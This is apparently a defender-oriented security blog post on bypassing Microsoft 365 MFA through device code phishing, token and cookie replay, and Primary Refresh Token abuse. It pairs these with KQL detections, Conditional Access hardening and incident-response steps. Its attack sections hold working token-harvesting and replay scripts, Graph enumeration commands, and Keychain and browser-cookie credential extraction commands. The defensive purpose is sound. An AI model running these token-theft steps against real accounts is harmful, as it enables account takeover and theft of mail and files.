MFA Bypass in 2025 to 2026: Device Code Phishing, Token Replay, and Why Your Conditional Access Policy Isn't Enough
Your user just completed MFA. They entered their authenticator code correctly. Microsoft accepted it. Your Conditional Access policy evaluated and passed. And the attacker sitting at a server in a different country just received a valid OAuth access token with 60-90 minutes of life, a refresh token valid for 90 days, and a path to your entire Microsoft 365 environment. No phishing page. No fake login form. No credential harvested. MFA was the mechanism the attacker used to authenticate on the victim's behalf. This is not a future threat. It has been actively exploited since at least mid-2024, and campaigns surged dramatically in late 2025.
Why MFA Is No Longer a Trust Boundary It's an Authentication Step
CISOs have treated MFA as a near-absolute control for years. The implicit assumption: if a user completed MFA, the session is legitimate. That assumption is now broken not in edge cases, not theoretically, but in active, widespread campaigns documented by Microsoft, Proofpoint, Huntress, Wiz, and others throughout 2024–2025.
The attacks covered in this post exploit a fundamental architectural truth about modern identity systems: authentication tokens are bearer artifacts. Once issued, they are trusted unconditionally by resource servers regardless of where they are presented. The attacker's goal has shifted from stealing credentials to stealing or intercepting tokens and modern OAuth flows, designed for convenience and interoperability, hand attackers multiple legitimate mechanisms to accomplish this.
This post covers three attack classes in technical depth:
- OAuth Device Code Phishing weaponizing a legitimate protocol flow to harvest tokens via social engineering, without ever hosting a phishing page
- Token Replay / Session Hijacking stealing issued tokens from browser storage, memory, or the macOS Keychain, then replaying them from attacker infrastructure
- Primary Refresh Token (PRT) Abuse the most powerful token in the Entra ID ecosystem, how it can be extracted or phished, and why it bypasses even phishing-resistant MFA claims
For each: the exact attack flow, the commands and API calls involved, what Entra ID logs, what it misses, and specific KQL and detection logic you can deploy.
Part 1 OAuth Device Code Phishing: MFA Bypass by Design
1.1 Understanding the Legitimate Flow (RFC 8628)
The OAuth 2.0 Device Authorization Grant (RFC 8628) was designed for devices with limited input capability smart TVs, printers, IoT devices that cannot support an interactive browser login. The flow works as follows:
The critical design property: the device polling for the token and the user completing authentication are decoupled. The device code is the only link between them. This decoupling is the attack primitive.
1.2 The Attack: Exact HTTP Flows
The attacker performs the following sequence. These are real API calls against Microsoft's identity platform:
Step 1 Attacker initiates the device code flow
POST https://login.microsoftonline.com/common/oauth2/v2.0/devicecode HTTP/1.1
Content-Type: application/x-www-form-urlencoded
client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=openid+profile+email+offline_access+https://graph.microsoft.com/.default
d3590ed6-52b3-4102-aeff-aad2292ab01c is the client ID for Microsoft Office a public client registered by Microsoft, requiring no secrets. Attackers use legitimate Microsoft client IDs to request broad scopes without needing to register a malicious application, making app-consent-based detection useless.
Response:
{
"user_code": "ABCD-EFGH",
"device_code": "BAQABAAEAAAAmoFfGtYxvRrNriQdPKIZ-....[long opaque string]",
"verification_uri": "https://microsoft.com/devicelogin",
"expires_in": 900,
"interval": 5,
"message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD-EFGH to authenticate."
}
Step 2 Attacker begins polling while sending phishing lure to victim
import requests, time
device_code = "BAQABAAEAAAAmoFfGtYxvRrNriQdPKIZ-...."
while True:
r = requests.post(
"https://login.microsoftonline.com/common/oauth2/v2.0/token",
data={
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"client_id": "d3590ed6-52b3-4102-aeff-aad2292ab01c",
"device_code": device_code
}
)
resp = r.json()
if "access_token" in resp:
print("[+] Token acquired!")
print("Access token:", resp["access_token"])
print("Refresh token:", resp["refresh_token"])
break
elif resp.get("error") == "authorization_pending":
time.sleep(5)
elif resp.get("error") == "expired_token":
print("[-] Code expired, regenerate")
break
Step 3 Victim receives phishing email, enters code on real Microsoft page
The victim navigates to https://microsoft.com/devicelogin Microsoft's own domain, valid certificate, no phishing indicators enters ABCD-EFGH, signs in with their real credentials, completes MFA (push, TOTP, whatever), and clicks "Continue."
Step 4 Attacker's polling loop returns tokens
The moment the victim clicks "Continue," the next poll returns:
{
"token_type": "Bearer",
"scope": "openid profile email offline_access https://graph.microsoft.com/.default",
"expires_in": 3599,
"access_token": "eyJ0eXAiOiJKV1QiLCJub25jZSI6....",
"refresh_token": "0.AUkA2...[90-day token]",
"id_token": "eyJ0eXAiOiJKV1Qi..."
}
The attacker now has:
- An access token valid for ~60 minutes, scoped to Microsoft Graph immediate Graph API access
- A refresh token valid for 90 days (or until explicitly revoked) persistent access
MFA was satisfied. By the victim. For the attacker's session. This is working as designed.
1.3 What the Attacker Can Do With the Tokens
With the Graph API access token, the attacker immediately begins reconnaissance:
# Enumerate all mailbox contents
curl -H "Authorization: Bearer <access_token>" \
"https://graph.microsoft.com/v1.0/me/messages?$top=100&$select=subject,from,receivedDateTime"
# Download all files from OneDrive
curl -H "Authorization: Bearer <access_token>" \
"https://graph.microsoft.com/v1.0/me/drive/root/children"
# Enumerate Teams messages
curl -H "Authorization: Bearer <access_token>" \
"https://graph.microsoft.com/v1.0/me/chats/getAllMessages"
# List all users in the tenant
curl -H "Authorization: Bearer <access_token>" \
"https://graph.microsoft.com/v1.0/users?$top=999&$select=displayName,mail,userPrincipalName,jobTitle"
# Get all groups and memberships (identify privileged groups)
curl -H "Authorization: Bearer <access_token>" \
"https://graph.microsoft.com/v1.0/me/memberOf"
Within the first 15 minutes of the access token lifetime, a threat actor can extract the full mailbox content of a C-suite executive, identify all privileged groups and their members, exfiltrate all OneDrive and SharePoint files accessible to that user, and read all Teams conversation history including channels with sensitive strategic discussions.
The refresh token extends this for 90 days:
# Refresh token exchange get new access token when old one expires
r = requests.post(
"https://login.microsoftonline.com/common/oauth2/v2.0/token",
data={
"grant_type": "refresh_token",
"client_id": "d3590ed6-52b3-4102-aeff-aad2292ab01c",
"refresh_token": "<90-day token>",
"scope": "https://graph.microsoft.com/.default offline_access"
}
)
# Returns a new access_token + new refresh_token (sliding window)
The refresh token slides each use extends the window. As long as the attacker uses it at least every 90 days, access is persistent until an administrator explicitly revokes all user refresh tokens.
1.4 Dynamic Code Generation: Bypassing the 15-Minute Expiry
Early device code phishing campaigns had a critical weakness: the code expired 15 minutes after generation. Attackers who pre-generated codes and embedded them in bulk phishing emails lost the race if the victim opened the email more than 15 minutes after sending.
The SquarePhish2 toolkit and the EvilTokens PhaaS platform (documented in early 2026) solve this with dynamic generation:
The victim has a 15-minute window from the moment they click which is far more than enough time to complete authentication. The attacker's timing problem is completely eliminated.
Part 2 Token Replay: Stealing What Was Already Legitimately Issued
Device code phishing manipulates the issuance process. Token replay skips it entirely the attacker steals a token that was issued legitimately during a real user session.
2.1 Where Tokens Live and How They're Stolen
Browser Session Cookies (Pass-the-Cookie)
When a user authenticates to Microsoft 365, Entra ID issues session cookies. The most valuable: ESTSAUTH and ESTSAUTHPERSISTENT the session cookies that represent a completed, MFA-satisfied authentication.
# Chrome/Edge store cookies in a SQLite database
# Windows path:
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies
# macOS path:
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Microsoft Edge/Default/Cookies
The ESTSAUTH cookie, once extracted, can be replayed in a browser on any machine:
# Using requests to replay the stolen session cookie
import requests
session = requests.Session()
session.cookies.set(
'ESTSAUTH', '<stolen_cookie_value>',
domain='login.microsoftonline.com'
)
session.cookies.set(
'ESTSAUTHPERSISTENT', '<stolen_persistent_cookie>',
domain='login.microsoftonline.com'
)
# Access Microsoft 365 with the victim's authenticated session
r = session.get("https://outlook.office.com/mail/")
# Returns the victim's inbox no credential prompt, no MFA prompt
macOS Keychain Token Extraction (Documented in 2025)
Microsoft Edge on macOS caches OAuth tokens including refresh tokens and in some cases Primary Refresh Tokens in the macOS Keychain. This was documented by security researchers in late 2025:
# List all Microsoft-related Keychain entries
security find-internet-password -l "Microsoft Edge" -g 2>&1 | grep -i "microsoft\|azure\|msal"
# Specific entries to look for:
# "refreshtoken-1--<guid>" OAuth refresh token
# "primaryrefreshtoken-1--<guid>" Primary Refresh Token (most valuable)
# "accesstoken-1--<guid>" Short-lived access token
# Export a specific entry:
security find-generic-password -a "refreshtoken" -s "Microsoft Edge" -w
With the extracted refresh token, the attacker replays it using TokenTactics or a custom script:
# TokenTactics PowerShell module for token manipulation
Import-Module TokenTactics
# Refresh a stolen token for new access token
$tokens = RefreshTo-MSGraphToken -refreshToken "<stolen_refresh_token>" `
-tenantId "<tenant_id>" `
-clientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$tokens.access_token # New access token immediate Graph API access
$tokens.refresh_token # New refresh token sliding 90-day window
AiTM (Adversary-in-the-Middle) Proxy Evilginx / Tycoon 2FA
The most scalable token theft mechanism is the AiTM reverse proxy documented extensively in Tycoon 2FA campaigns (which comprised 65% of PhaaS-driven credential attacks in H1 2025 per Ontinue):
The proxy sits transparently between user and Microsoft. The user completes real MFA. Microsoft issues real session cookies. The proxy captures them before forwarding to the user's browser. Both parties see a successful authentication. The attacker has the cookies.
2.2 The Impossible Travel Detection Gap
Once the attacker replays the token from their own IP, a geographic anomaly exists. However, token replay has a structural advantage over password-based attacks in evading impossible travel detection:
-
Non-interactive sign-ins don't always trigger impossible travel. When an attacker uses a refresh token to silently obtain new access tokens, these appear as non-interactive sign-ins in Entra ID logs not evaluated against the same risk policies as interactive sign-ins by default in many tenant configurations.
-
The timing gap allows geographic plausibility. If the attacker waits several hours after token theft before using it from a distant location, the time delta makes the impossible travel calculation ambiguous.
-
Commercial VPN and residential proxy services trivially bypass IP geolocation. Attackers use residential proxies in the victim's city or country to make the access appear local.
Part 3 Primary Refresh Token Abuse: The Crown Jewel
3.1 What a PRT Is and Why It's Uniquely Dangerous
The Primary Refresh Token is a special OAuth artifact issued by Entra ID to Azure AD joined or registered devices. It is the single most powerful token in the Microsoft identity stack:
| Token Type | Scope | Lifetime | MFA Claim | Device Bound |
|---|---|---|---|---|
| Access Token | Specific resource | 60–90 min | Claims inherited | No |
| Refresh Token | Tenant-wide | 90 days | Claims inherited | No |
| Primary Refresh Token | Any Entra ID resource | 14 days (rolling) | Can satisfy MFA claim | Yes (TPM-protected on W11) |
A PRT includes a device_id claim and the MFA authentication method claim (amr). When a Conditional Access policy requires "MFA required" AND "compliant device," the PRT can satisfy both conditions simultaneously. This is why PRT theft is the top-tier attack: stolen PRT → can bypass device compliance checks AND MFA requirements that a stolen access token or refresh token cannot bypass.
3.2 PRT Extraction (Windows)
On Windows 10 and 11 without TPM, the PRT is stored in LSASS memory and the Windows Credential Manager:
# Check if the current device has a PRT:
dsregcmd /status
# Output indicates PRT presence:
# AzureAdPrt : YES
# AzureAdPrtUpdateTime : 2025-01-15 09:23:44.000 UTC
# AzureAdPrtExpiryTime : 2025-01-29 09:23:44.000 UTC
With SYSTEM-level access on the machine, an attacker can extract the PRT using tools that read from LSASS or the Windows Credential Manager:
# ROADToken defensive research tool for PRT analysis
# Request a new access token using the extracted PRT
.\ROADToken.exe --prt <extracted_prt> --prt-sessionkey <session_key> `
--resource https://graph.microsoft.com/
# The resulting access token satisfies device compliance claims
# even when used from a different machine
On Windows 11 with TPM: The PRT is bound to the TPM chip, making extraction dramatically harder the private key used to prove PRT possession never leaves the TPM. However, Hyper-V Generation 1 VMs don't have TPM support, cloud-hosted VMs must be explicitly configured with vTPM, and UEFI/BIOS access can disable TPM.
3.3 Phishing Directly for a PRT The Advanced Technique
Researcher Dirk-jan Mollema documented a technique where device code phishing, combined with device registration, can yield a full PRT:
Attack chain to obtain PRT via device code phishing:
Step 1: Attacker initiates device code flow for the Windows broker app
client_id = 29d9ed98-a469-4536-ade2-f981bc1d605e (Microsoft broker)
scope = openid profile offline_access
Step 2: Victim completes MFA (fresh MFA claim in the resulting token)
Step 3: Attacker has refresh token + fresh MFA claim
Step 4: Attacker registers a new device to the tenant
POST https://login.microsoftonline.com/common/oauth2/v2.0/token
{grant_type: refresh_token, scope: "urn:ms-drs:enterpriseregistration..."}
Step 5: With device registered, attacker requests PRT for that device
The PRT now carries: valid device_id + MFA claim from step 2
Step 6: Attacker uses PRT to access ANY resource gated by:
"Require MFA" ✓ (MFA claim from step 2)
"Require compliant device" ✓ (registered device from step 4)
KQL query to detect this device registration abuse:
// Detect device registration immediately following device code authentication
let DeviceCodeLogins = SigninLogs
| where TimeGenerated > ago(24h)
| where AuthenticationProtocol == "deviceCode"
| where ResultType == "0"
| project UserPrincipalName, DeviceCodeTime = TimeGenerated,
IPAddress, CorrelationId;
let DeviceRegistrations = AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName == "Register device"
or OperationName == "Add registered users to device"
| extend UPN = tostring(InitiatedBy.user.userPrincipalName)
| project UPN, RegistrationTime = TimeGenerated,
DeviceName = tostring(TargetResources[0].displayName);
DeviceCodeLogins
| join kind=inner DeviceRegistrations on $left.UserPrincipalName == $right.UPN
| where (RegistrationTime - DeviceCodeTime) between (0min .. 30min)
| project UserPrincipalName, DeviceCodeTime, RegistrationTime,
IPAddress, DeviceName, CorrelationId
| sort by DeviceCodeTime desc
Part 4 What Entra ID Logs and What It Doesn't
4.1 Sign-In Log Taxonomy
Entra ID produces three sign-in log types, and they are not equally monitored:
| Log Table | What It Captures | Default Retention | Alert Coverage |
|---|---|---|---|
SigninLogs | Interactive sign-ins (browser, client app prompts) | 30 days | High most orgs monitor this |
NonInteractiveUserSignInLogs | Silent token refreshes (background, refresh_token grants) | 30 days | Low often not ingested into SIEM |
ServicePrincipalSignInLogs | App-to-app authentication | 30 days | Medium |
ManagedIdentitySignInLogs | Managed identity token requests | 30 days | Low |
The critical gap: Token replay most commonly appears in NonInteractiveUserSignInLogs. When an attacker uses a stolen refresh token to silently obtain new access tokens, this generates entries in that table not in SigninLogs. Many organizations either don't ingest this table into their SIEM, or don't alert on it with the same rigor.
4.2 What a Device Code Phishing Sign-In Looks Like in Logs
{
"UserPrincipalName": "victim@company.com",
"AppDisplayName": "Microsoft Office",
"ClientAppUsed": "Mobile Apps and Desktop clients",
"AuthenticationProtocol": "deviceCode",
"AuthenticationRequirement": "singleFactorAuthentication",
"ConditionalAccessStatus": "success",
"IPAddress": "185.220.101.x",
"Location": {
"City": "Frankfurt",
"CountryOrRegion": "DE"
},
"DeviceDetail": {
"deviceId": "",
"displayName": "",
"operatingSystem": "",
"browser": ""
},
"RiskDetail": "none",
"ResultType": "0"
}
Key forensic indicators:
AuthenticationProtocol == "deviceCode"the smoking gunDeviceDetailfields empty the token was not bound to a registered deviceIPAddressbelongs to attacker infrastructure, not the victim's known IPs
4.3 What Token Replay Looks Like in Logs
{
"UserPrincipalName": "victim@company.com",
"AppDisplayName": "Microsoft Graph",
"AuthenticationProtocol": "none",
"IsInteractive": false,
"IPAddress": "45.152.x.x",
"Location": {"CountryOrRegion": "NL"},
"TokenIssuerType": "AzureAD",
"RiskDetail": "none",
"UniqueTokenIdentifier": "ZGJhNzQ4..."
}
The attacker's access pattern will show consistent non-interactive sign-ins at regular intervals (token refresh), from a consistent IP (the attacker's server), accessing Microsoft Graph API endpoints not typical for the victim's normal work pattern.
Part 5 Detection: Queries That Actually Work
5.1 Detect Device Code Sign-Ins from Unmanaged Contexts
The highest-fidelity starting point. Device code flow is rarely legitimate for standard enterprise users:
// Detect device code authentication where no device is registered
SigninLogs
| where TimeGenerated > ago(7d)
| where AuthenticationProtocol == "deviceCode"
| where ResultType == "0"
| where isempty(DeviceDetail.deviceId)
| extend
Country = tostring(LocationDetails.countryOrRegion),
City = tostring(LocationDetails.city)
| summarize
Count = count(),
UniqueIPs = dcount(IPAddress),
Countries = make_set(Country),
LastSeen = max(TimeGenerated)
by UserPrincipalName, AppDisplayName
| where Count > 0
| sort by LastSeen desc
Tighter version alert on any device code sign-in for users not in an allowlist:
// Maintain an allowlist of users/apps with legitimate device code needs
let AllowedDeviceCodeUsers = dynamic([
"iot-admin@company.com",
"printserver-svc@company.com"
]);
SigninLogs
| where TimeGenerated > ago(1d)
| where AuthenticationProtocol == "deviceCode"
| where ResultType == "0"
| where UserPrincipalName !in (AllowedDeviceCodeUsers)
| project TimeGenerated, UserPrincipalName, IPAddress,
AppDisplayName, LocationDetails, CorrelationId
| sort by TimeGenerated desc
Expected false positive rate when allowlist is properly configured: near zero. Device code flow has no legitimate user-facing application in most enterprise environments.
5.2 Detect Token Replay via Impossible Travel in NonInteractive Logs
This query deliberately targets the gap non-interactive sign-ins are where token replay hides:
// Detect impossible travel in NonInteractiveUserSignInLogs
// (The table most orgs forget to monitor)
let TimeDeltaThresholdMinutes = 60;
let MinDistanceKm = 500;
NonInteractiveUserSignInLogs
| where TimeGenerated > ago(24h)
| where ResultType == "0"
| extend
Lat = toreal(LocationDetails.geoCoordinates.latitude),
Lon = toreal(LocationDetails.geoCoordinates.longitude),
Country = tostring(LocationDetails.countryOrRegion)
| where isnotempty(Lat) and isnotempty(Lon)
| sort by UserPrincipalName asc, TimeGenerated asc
| serialize
| extend
PrevLat = prev(Lat, 1),
PrevLon = prev(Lon, 1),
PrevTime = prev(TimeGenerated, 1),
PrevUser = prev(UserPrincipalName, 1)
| where UserPrincipalName == PrevUser
| extend
TimeDeltaMin = datetime_diff('minute', TimeGenerated, PrevTime),
DistanceKm = 111.0 * sqrt(pow(Lat - PrevLat, 2) + pow(Lon - PrevLon, 2))
| where TimeDeltaMin < TimeDeltaThresholdMinutes
| where DistanceKm > MinDistanceKm
| project TimeGenerated, UserPrincipalName,
CurrentIP = IPAddress, CurrentCountry = Country,
TimeDeltaMin, DistanceKm, AppDisplayName,
UniqueTokenIdentifier
| sort by TimeGenerated desc
5.3 Correlate Token Usage to Graph API Activity
// Join SigninLogs to MicrosoftGraphActivityLogs to see what a token did
// Requires Graph Activity Logs to be configured in Log Analytics
let SuspiciousTokens = SigninLogs
| where TimeGenerated > ago(24h)
| where AuthenticationProtocol == "deviceCode"
| where ResultType == "0"
| project UniqueTokenIdentifier, UserPrincipalName,
SigninTime = TimeGenerated, SigninIP = IPAddress;
MicrosoftGraphActivityLogs
| where TimeGenerated > ago(24h)
| join kind=inner SuspiciousTokens on $left.UniqueTokenIdentifier == $right.UniqueTokenIdentifier
| project TimeGenerated, UserPrincipalName, RequestUri,
ResponseStatusCode, ClientIpAddress, SigninIP
| sort by TimeGenerated asc
5.4 Detect PRT-Based Device Registration Abuse
// High-fidelity: device registered immediately after device code auth
// Near-zero false positive rate in standard enterprise environments
let lookback = 1h;
let DeviceCodeEvents = SigninLogs
| where TimeGenerated > ago(24h)
| where AuthenticationProtocol == "deviceCode"
| where ResultType == "0"
| project UserPrincipalName, DCTime = TimeGenerated,
DCIPAddress = IPAddress, CorrelationId;
AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName in ("Register device", "Add registered users to device",
"Add member to role", "Add eligible member to role")
| extend ActorUPN = tostring(InitiatedBy.user.userPrincipalName)
| where isnotempty(ActorUPN)
| join kind=inner DeviceCodeEvents on $left.ActorUPN == $right.UserPrincipalName
| extend TimeDelta = TimeGenerated - DCTime
| where TimeDelta between (0min .. lookback)
| project ActorUPN, OperationName, TimeGenerated, DCTime,
TimeDelta, DCIPAddress,
TargetResource = tostring(TargetResources[0].displayName)
| sort by TimeGenerated desc
5.5 Hunt for Refresh Token Abuse Patterns (Bulk Graph API Access)
Legitimate users don't query the Graph API in bulk at 3 AM:
// Detect anomalous Graph API query volume from non-interactive sessions
// Indicator of automated data exfiltration using stolen tokens
MicrosoftGraphActivityLogs
| where TimeGenerated > ago(24h)
| where RequestMethod in ("GET")
| extend
Hour = hourofday(TimeGenerated),
UPN = tostring(UserId)
| summarize
RequestCount = count(),
UniqueEndpoints = dcount(RequestUri),
UniqueTokens = dcount(UniqueTokenIdentifier)
by UPN, bin(TimeGenerated, 1h)
| where RequestCount > 500
| where Hour between (0 .. 6)
| sort by RequestCount desc
Part 6 The Conditional Access Gaps: Why Your Policy Probably Has Holes
6.1 The Condition That Blocks Device Code Phishing (And Why It's Not Deployed)
Microsoft added the Authentication Flows Conditional Access condition specifically to address device code abuse:
Conditional Access Policy: "Block Device Code Flow"
─────────────────────────────────────────────────────
Assignments:
Users: All users
Exclude: Break-glass accounts, service accounts with documented IoT needs
Target Resources:
Cloud apps: All cloud apps
Conditions:
Authentication flows: Device code flow
Grant:
Block access
─────────────────────────────────────────────────────
Before enabling in enforcement mode, audit your environment:
Connect-MgGraph -Scopes "AuditLog.Read.All"
$filter = "authenticationProtocol eq 'deviceCode' and " +
"createdDateTime ge $(([datetime]::UtcNow.AddDays(-30)).ToString('o'))"
$signIns = Get-MgAuditLogSignIn -Filter $filter -All -Top 999
$signIns | Select-Object -Property UserPrincipalName, AppDisplayName,
IPAddress, CreatedDateTime |
Group-Object UserPrincipalName |
Sort-Object Count -Descending |
Select-Object Name, Count, @{N='Apps';E={($_.Group.AppDisplayName | Sort-Object -Unique) -join ', '}} |
Export-Csv "device_code_usage.csv" -NoTypeInformation
6.2 The Six Most Common Conditional Access Gaps
| Gap | Why It Exists | What an Attacker Exploits |
|---|---|---|
| Device code flow not blocked | Policy condition added by Microsoft in 2023 many tenants haven't revisited CA policies since | Full device code phishing as described above |
| Non-interactive sign-ins not evaluated | CA policies apply to interactive flows by default | Stolen refresh token replayed silently bypasses current-state CA evaluation |
| Compliant device requirement not enforced for web apps | Friction concerns | Token replayed in non-compliant browser bypasses device requirement |
| Named Locations not maintained | IT lists corporate office IPs but forgets VPN egress, trusted vendor ranges | All authenticated sessions from "unknown" locations generate low-signal alerts |
| Legacy authentication not fully blocked | Some legacy apps break when legacy auth is disabled | Brute-force via SMTP, IMAP, EWS these protocols don't support MFA at all |
| Admin role assignments not MFA + PIM protected | Convenience: admins dislike step-up auth | Stolen token from standard user account can be used to escalate if admin roles aren't PIM-gated |
6.3 Continuous Access Evaluation What It Does and Doesn't Protect
Continuous Access Evaluation (CAE) allows certain Microsoft services (Exchange Online, SharePoint, Teams, Graph) to re-evaluate access in near-real-time when risk signals change.
What CAE protects against:
- User account disabled → access revoked within minutes (not at next token expiry)
- Password reset → refresh tokens invalidated quickly
- High-risk event detected by Identity Protection → access blocked within minutes for CAE-capable clients
What CAE does NOT protect against:
- Attacker using the access token during its remaining lifetime (~60 min) before revocation propagates
- Clients that don't support CAE (many third-party apps, older clients)
- The 10–15 minute propagation delay between revocation action and enforcement even in CAE-capable clients
6.4 Token Lifetime Configuration: What You Can Actually Control
# Create a custom policy with shorter access token lifetime
$tokenLifetimePolicy = @{
Definition = @(
'{"TokenLifetimePolicy":{"Version":1,"AccessTokenLifetime":"00:30:00"}}'
)
DisplayName = "ShortAccessTokenPolicy"
IsOrganizationDefault = $false
}
New-MgPolicyTokenLifetimePolicy -BodyParameter $tokenLifetimePolicy
More impactful: Sign-in Frequency policy in Conditional Access
CA Policy: "Require re-authentication for sensitive apps"
─────────────────────────────────────────────────────────
Assignments:
Users: All users
Target: Azure portal, Exchange Online (admin operations), Graph Explorer
Session Controls:
Sign-in frequency: 4 hours (or 1 hour for highest-sensitivity)
Persistent browser session: Never persistent
─────────────────────────────────────────────────────────
Part 7 Incident Response When Token Theft Is Confirmed
7.1 The Revocation Sequence
If you have confirmed token theft, here is the exact remediation sequence. Order matters:
# Step 1: Revoke ALL refresh tokens for the affected user
Connect-MgGraph -Scopes "User.ReadWrite.All"
$userId = "victim@company.com"
Invoke-MgRevokeUserSignInSession -UserId $userId
# Verify revocation:
Get-MgUser -UserId $userId -Property "signInSessionsValidFromDateTime" |
Select-Object signInSessionsValidFromDateTime
# Step 2: Disable account to force block non-CAE clients immediately
Update-MgUser -UserId $userId -AccountEnabled $false
# Wait 60 minutes, then re-enable
# Step 3: Remove any malicious device registrations
Get-MgUserRegisteredDevice -UserId $userId |
Select-Object Id, DisplayName, RegistrationDateTime, TrustType |
Sort-Object RegistrationDateTime -Descending
# Compare against known-good devices; remove suspicious ones:
Remove-MgUserRegisteredDevice -UserId $userId -DirectoryObjectId "<suspicious_device_id>"
# Step 4: Remove malicious inbox rules created for persistence
Connect-ExchangeOnline
Get-InboxRule -Mailbox $userId |
Where-Object {$_.DeleteMessage -eq $true -or $_.ForwardTo -ne $null} |
Select-Object Name, ForwardTo, DeleteMessage, MarkAsRead
# Remove any rules not created by the user:
Remove-InboxRule -Mailbox $userId -Identity "<rule_name>"
# Step 5: Remove OAuth application consent grants
Get-MgUserOAuth2PermissionGrant -UserId $userId |
Select-Object ClientId, Scope, ConsentType
Remove-MgOAuth2PermissionGrant -OAuth2PermissionGrantId "<grant_id>"
# Step 6: Check for new MFA methods added by attacker
Get-MgUserAuthenticationMethod -UserId $userId
# Look for unrecognized phone numbers, TOTP authenticators, or FIDO keys
7.2 Forensic Timeline Reconstruction
After containment, reconstruct exactly what the attacker accessed:
// Full activity reconstruction for a compromised account
let CompromisedUser = "victim@company.com";
let AttackStart = datetime(2025-01-15 23:00:00);
let AttackEnd = datetime(2025-01-16 06:00:00);
// All authentication events
SigninLogs
| where TimeGenerated between (AttackStart .. AttackEnd)
| where UserPrincipalName == CompromisedUser
| project TimeGenerated, Type="Interactive Sign-in",
Details=strcat(AppDisplayName, " from ", IPAddress, " (",
tostring(LocationDetails.countryOrRegion), ")"),
AuthProtocol = AuthenticationProtocol,
Risk = RiskLevelAggregated
| union (
NonInteractiveUserSignInLogs
| where TimeGenerated between (AttackStart .. AttackEnd)
| where UserPrincipalName == CompromisedUser
| project TimeGenerated, Type="Silent Token Refresh",
Details=strcat(AppDisplayName, " from ", IPAddress),
AuthProtocol = AuthenticationProtocol,
Risk = RiskLevelAggregated
)
| union (
AuditLogs
| where TimeGenerated between (AttackStart .. AttackEnd)
| where InitiatedBy.user.userPrincipalName == CompromisedUser
| project TimeGenerated, Type="Directory Action",
Details=strcat(OperationName, ": ", tostring(TargetResources[0].displayName)),
AuthProtocol="N/A",
Risk="N/A"
)
| sort by TimeGenerated asc
| project TimeGenerated, Type, Details, AuthProtocol, Risk
Part 8 The Hardening Roadmap: What Actually Stops This
| Control | Priority | Complexity | Risk Reduction | Caveats |
|---|---|---|---|---|
| Block device code flow in CA | P0 | Low | Eliminates device code phishing entirely | Audit first; may break IoT/legacy integrations |
| Enable NonInteractiveUserSignInLogs in SIEM | P0 | Low | Closes major detection gap | Log volume increase; ensure retention |
| Phishing-resistant MFA (FIDO2 / Passkeys) | P1 | Medium | Eliminates AiTM credential theft | Requires hardware keys or compatible devices |
| Block legacy authentication protocols | P1 | Medium | Eliminates SMTP/IMAP brute force | Break legacy apps first; test in report mode |
| Require compliant device for all cloud apps | P1 | High | Token replay from unmanaged device fails CA | Requires full Intune enrollment; user friction |
| Sign-in frequency: 1–4h for sensitive resources | P1 | Low | Limits token replay window | Re-auth friction for legitimate users |
| CAE for Exchange/SharePoint/Teams | P2 | Low | Token revocation propagates in minutes | Requires CAE-capable clients |
| Restrict OAuth app consent to admin-approved apps | P2 | Medium | Blocks illicit consent attacks | Administrative overhead for app approvals |
| TPM enforcement on all Windows devices | P2 | High | Makes PRT extraction infeasible | Hardware refresh may be required |
| Token Protection CA policy (preview) | P2 | Low | Binds tokens to specific devices | Preview feature; limited app support |
Phishing-Resistant MFA: What It Actually Means
"Phishing-resistant MFA" specifically refers to authenticator methods where the credential is cryptographically bound to the relying party origin meaning even an AiTM proxy cannot intercept it.
This applies to:
- FIDO2 security keys (YubiKey, etc.): The private key never leaves the hardware token; the challenge response is scoped to the exact origin domain
- Windows Hello for Business: Tied to the device's TPM; cryptographically bound to the sign-in domain
- Certificate-based authentication: Client certificates with hardware-backed keys
This does not apply to:
- TOTP / time-based codes (Microsoft Authenticator code): Can be intercepted by AiTM proxy in real time
- Push notifications: Can be phished via MFA fatigue or forwarded
- SMS OTP: Can be SIM-swapped
The CISO Summary: What to Do Monday Morning
1. Run the device code audit query today. Find out if device code phishing is already happening in your tenant. Pull 30 days of SigninLogs where AuthenticationProtocol == "deviceCode". The results will either be reassuring or immediately actionable.
2. Ensure NonInteractiveUserSignInLogs are being ingested into your SIEM. If they're not, you have a blind spot for token replay. This is a configuration change, not a product purchase.
3. Put the "Block device code flow" CA policy into report mode immediately. See what breaks. You have 30 days of sign-in data to assess impact. Most environments will find near-zero legitimate usage.
4. Identify your highest-value accounts (executives, IT admins, finance leads). Enforce FIDO2 hardware keys for these users first. The threat model for a CFO being device-code-phished is categorically different from a general workforce user.
5. Create a token revocation runbook. When a token theft incident is confirmed, your team needs to execute the revocation sequence in under 10 minutes. If that process requires a 30-minute approval chain, the attacker has already pivoted.
Timeline: Device Code Phishing From Unknown to Commodity (2021–2026)
| Date | Event |
|---|---|
| 2021 | Secureworks documents OAuth device code phishing targeting Russia-linked threat actors; publishes SquarePhish |
| Mid-2024 | Microsoft tracks Storm-2372 (Russia-aligned) using device code phishing against governments, NGOs, and enterprises across 15+ countries |
| Feb 2025 | Microsoft publicly discloses Storm-2372 campaign; attributes with high confidence to Russian state actors |
| June 2025 | ShinyHunters/Scattered Spider use OAuth token theft via Salesloft/Drift integration to breach Salesforce at 700+ organizations including Cloudflare, Zscaler, Tenable |
| Sep 2025 | Proofpoint observes "highly unusual" surge in device code phishing campaigns multiple threat clusters adopt simultaneously |
| Oct 2025 | TA2723 (financially motivated) begins using device code phishing at scale technique crosses from APT to commodity cybercrime |
| Dec 2025 | Proofpoint publishes research; SquarePhish2 and Graphish phishing kits publicly documented |
| Feb 2026 | EvilTokens PhaaS platform emerges device code phishing fully commoditized as a service offering |
| Apr 2026 | Microsoft documents AI-enabled device code phishing campaign using dynamic code generation and Railway.com backend automation |
References
- Microsoft Security Blog: "Inside an AI-enabled device code phishing campaign" (April 2026)
- Proofpoint: "Access granted: phishing with device code authorization for account takeover" (December 2025)
- Dirk-jan Mollema: "Introducing ROADtools" and PRT research (roadlib.readthedocs.io)
- Ontinue: "Tycoon 2FA Phishing Kit" threat intelligence report (2025)
